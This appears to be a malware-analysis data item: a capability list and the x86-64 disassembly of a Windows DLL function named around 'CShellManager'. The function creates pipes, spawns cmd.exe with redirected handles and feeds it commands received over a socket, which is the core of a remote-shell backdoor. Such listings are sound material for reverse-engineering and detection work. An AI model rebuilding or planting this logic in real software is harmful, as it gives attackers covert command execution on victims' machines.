Function at 0x1800066b0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rax - 0x158]
sub rsp, 0x230
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x18001c1d0]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov r8, rdx
mov rbx, rcx
mov qword [rbp - 0x78], rcx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rdx]
mov rdx, rcx
mov rcx, r8
call qword [rax + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x18], rax
xor r14d, r14d
mov dword [rbx + 0x10], r14d
lea rax, vtable.CShellManager.0
mov qword [rbx], rax
mov dword [rbx + 0x28], r14d
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x60], r14d
xor edx, edx
lea r8d, [r14 + 0x60]
lea rcx, [rbp - 0x58]
call fcn.18000a460
mov qword [rsp + 0x58], r14
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x10], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x11]
call fcn.18000a460
mov qword [rbx + 0x30], r14
mov qword [rbx + 0x38], r14
mov qword [rbx + 0x40], r14
mov qword [rbx + 0x48], r14
mov dword [rsp + 0x70], 0x18
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x80], 1
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x48]
lea rcx, [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1800067e1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1800067c9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x48]
test rcx, rcx
je 0x1800069a1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800069a1
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rbx + 0x38]
lea rcx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180006822
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x18000680a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x40]
test rcx, rcx
je 0x1800069a1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800069a1
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x60]
call fcn.18000a460
xor r11d, r11d
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x68], r11
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rbp - 0x60], 0x68
mov word [rbp - 0x20], r14w
mov dword [rbp - 0x24], 0x101
mov rax, qword [rbx + 0x40]
mov qword [rbp - 0x10], rax
mov rax, qword [rbx + 0x48]
mov qword [rbp], rax
mov qword [rbp - 8], rax
mov edx, 0x104
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.180008360
lea r11, [rsp + 0x58]
mov qword [rsp + 0x48], r11
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180006908
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800069a1
mov rax, qword [rsp + 0x58]
mov qword [rbx + 0x50], rax
mov rax, qword [rsp + 0x60]
mov qword [rbx + 0x58], rax
mov dword [rbx + 0x70], r14d
mov byte [rsp + 0x50], recv
cmp dword [rbx + 0x10], 0
jne 0x18000693e
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x1770
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180006b60]
xor edx, edx
xor ecx, ecx
call fcn.1800080fc
mov qword [rbx + 0x60], rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x180006c70]
xor edx, edx
xor ecx, ecx
call fcn.1800080fc
mov qword [rbx + 0x68], rax
mov dword [rbx + 0x28], 1
mov rax, rbx
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1800076f0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret